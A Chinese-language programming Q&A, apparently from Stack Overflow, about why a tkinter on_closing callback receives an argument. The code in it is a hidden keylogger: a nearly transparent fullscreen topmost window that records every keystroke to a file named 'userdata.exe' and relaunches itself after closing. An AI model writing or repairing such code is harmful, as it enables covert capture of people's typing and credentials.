【发布时间】:2016-03-14 19:04:43
【问题描述】:
我一直在编写这个程序,但由于某种原因,on_closing 函数正在接收参数
代码:
from tkinter import *
from time import sleep
def run():
global root, target
target = open("userdata.exe", 'a')
root = Tk()
root.attributes("-fullscreen", True)
root.attributes('-alpha', 0.01)
root.attributes('-topmost', True)
def key(event):
target.write(repr(event.char)+" :")
frame = Frame(root, width=root.winfo_screenwidth(), height=root.winfo_screenwidth())
frame.bind("<Key>", key)
frame.bind("<1>", on_closing)
frame.pack()
root.protocol("WM_DELETE_WINDOW", on_closing)
root.mainloop()
def on_closing():
root.destroy()
sleep(10)
target.close()
run()
run()
对为什么会发生这种情况有任何想法吗?
【问题讨论】:
-
这是因为 tkinter 将一个事件参数传递给它的绑定回调。
标签: python tkinter key-bindings